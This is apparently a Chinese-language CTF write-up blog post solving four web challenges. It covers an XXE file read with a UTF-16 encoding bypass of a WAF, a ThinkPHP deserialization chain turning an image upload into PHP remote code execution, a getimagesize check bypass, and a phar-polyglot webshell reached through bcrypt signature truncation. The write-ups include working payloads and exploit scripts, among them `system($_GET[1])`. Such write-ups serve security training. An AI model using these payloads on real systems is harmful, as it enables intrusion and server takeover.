2022-10-4
[CSAWQual 2019]Web_Unagi
打开页面发现几个功能页面
打开看一下发现几个信息,我们要找的flag在/flag路径下面
里面有一个上传功能,里面有一些信息,上面有一个示例
点进去
里面是一个xml示例文档,这里跟外面上传goon功能下面的是一样的,也就是我们需要上传一个xml文件
也就是XXE漏洞无疑了
写一个
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>gg</username>
<password>passwd1</password>
<name>ggg</name>
<email>alice@fakesite.com</email>
<group>&xxe;</group>
</user>
</users>
上传发现,被拦截了
上网查了如何绕过waf发现
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
XXE waf bypass
所以我们直接进行编码就行
cat 1.xml | iconv -f UTF-8 -t UTF-16BE > x161.xml
iconv命令详解
上传发现
只有一半,然后想到user页面有信息,下面有个intro标签
添加intro标签写入发现flag
强网杯2019 Upload
仔仔细细梳理了一下刷一把题
打开页面因为题目里写了是upload,所以就直接注册登陆进去了
发现一个upload功能,上传一句话发现只能上传jpg的一句话木马
在页面源码发现他的路径,接下来就没什么招了,测试一下信息泄露,发现在www.tar.gz有源码下载
发现了.idea文件夹以及tp5
.idea存放项目的配置信息,包括历史记录,版本控制信息
所以直接用phpstorm打开瞅瞅
在index.php与register文件下面发现两处断点,应该是提示
第一个端点给标明了反序列化的位置,第二处是一个析构方法,调用了index方法,
public function index()
{
if($this->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();
}
return $this->fetch("index");
}
这里很明显是检测登陆用的,接着看看别的地方
看看他上传图片的代码
public function upload_img(){
if($this->checker){#检测登陆如果不给参数可以绕过
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){#判断文件是否为空,不上传文件即可不进入 将文件名进行md5改名
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();#检测后缀是否为png
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);#进行文件复制
@unlink($this->filename_tmp);#删除文件
$this->img="../upload/$this->upload_menu/$this->filename";#定义文件上传路径
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
public function ext_check(){
$ext_arr=explode(".",$this->filename);
$this->ext=end($ext_arr);
if($this->ext=="png"){
return 1;
}else{
return 0;
}
}
可以想到,因为题目里面给出了文件的路径也就是$this->filename_tmp我们是知道的,我们如果可以控制$this->filename的话我们就可以控制上传的后缀
接着往下看
public function __get($name)#读取不可访问(protected 或 private)或不存在的属性的值时
{
return $this->except[$name];#index->img
}
public function __call($name, $arguments)#name = index 调用不存在的index 进入get #在对象中调用一个不可访问方法时,__call() 会被调用。
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
这里给出了如果访问不可访问或者不存在的属性以及方法的时候进行的操作,看起来好像是没有问题,但是我们之前给出的register端点里面是有一个$this->checker->index()的如果我们把checker实例一个Profile类的化,我们就可以进入__call方法这样$name=index但是由于index方法在这里也是不存在的属性,所以又进入__get魔术方法,这里如果我们传入数组index->img的话,他就会给call放回一个img这里img我们直接传入upload_img这样call方法就可以调用到我们的利用方法,因为我们没有上传所以我们直接用题目给出的路径来当作上传路径,然后修改filename即可控制
因为我们需要用到的文件的namespace都是app/web/controller
所以我们直接加上再构造payload即可
exp:
<?php
namespace app\web\controller;
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}
class Register
{
public $checker;
public $registed;
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";#调用upload_image方法
$profile->ext = "png";#绕过if判断
$profile->filename_tmp = "./upload/c47b21fcf8f0bc8b3920541abd8024fd/c7d7aa59680644ee2703cb544bd26f25.png";
$profile->filename = "./upload/c47b21fcf8f0bc8b3920541abd8024fd/c7d7aa59680644ee2703cb544bd26f25.php";
$register = new Register();#进入析构方法
$register->registed = false;#进入判断调用index
$register->checker = $profile;#进入profile类的call方法
echo urlencode(base64_encode(serialize($register)));
最后的结果放入cookie中保存刷新几下然后访问更改后的文件路径即可RCE
Avator Uploader 1
题目给出源码,再搜索flag的时候发现这么一行
if ($size[2] !== IMAGETYPE_PNG) {
// I hope this never happens...
error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
那么如果我们让他检测的结果不全等就行了,向上看看代码,发现他是由getimagesize来的,
getimagesize函数返回图片信息,第三个元素不能等于IMAGETYPE_PNG,也就是不能为3,因此我们需要绕过这个函数
而前面是怎么判断的,
用了一个finfo_file判断文件头的16进制,也就是我们文件的开头
只需要是这样不变就能绕过第一层判断
第二层判断是要他不完全等于png,但是他的判断方法跟上面的又完全不同,getimagesize返回的是图片信息等的数据
这样返回的数据,那么如果我们令这个函数无法判断我们图片的信息
也就是把除了头之外的数据全部删除让他无法判断,那么我们是否就可以直接绕过那个判断了呢
可以看到更改完成之后他直接返回false
但是上面的finfo_file还是回检测到他是image/png直接绕过,拿到flag
Avator Uploader 2
上面的很明显是flag1所以我们还需要找到一个漏洞拿到第二个flag
在全局搜索漏洞函数的时候发现在index.php中还含有一个include函数
<?php include($session->get('theme', 'light') . '.css'); ?>
发现他直接将主题的属性与css进行了拼接这里我们可以使用phar://或者zip://进行绕过
跟进一下session->get这个方法通过检查data解析之后有没有theme这个键名,如果没有的话自动变成light
那么我们思路就是在解析之后添加一个theme键名,值为phar://xxxxx/1
但是在进行实例化对象的时候她会进行验证数据以及签名
private function verify($string, $signature) {
return password_verify($this->secret . $string, $signature);
}
private function sign($string) {
return password_hash($this->secret . $string, PASSWORD_BCRYPT);
}
可以看到他是根据password_hash进行加密,再根据password_verify进行验证签名
那么如果我们的data超过72位,那么他的签名将会一直是true
我们先构造一个phar发过去:
<?php
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET[1]); ?>');
$phar->setStub($png_header.'<?php __HALT_COMPILER();');
$phar->stopBuffering();
因为这里会检测image/png的16进制头,所以我们需要再phar文件前面添加上文件头并且要更高他的width以及height
让他能够绕过第二段检测
这样直接上传就可以当作头像我们只需要再利用到index里面的include完成phar文件包含即可RCE
需要寻找一下在哪里的时候,他的session长度大于72
看到upload页面如果没有上传任何文件的时候他的session会返回
看到这样就直接大于72了
所以我们直接在后面添加一个theme然后值为phar://文件名/eee
这样就可以进行LFI包含
拿到flag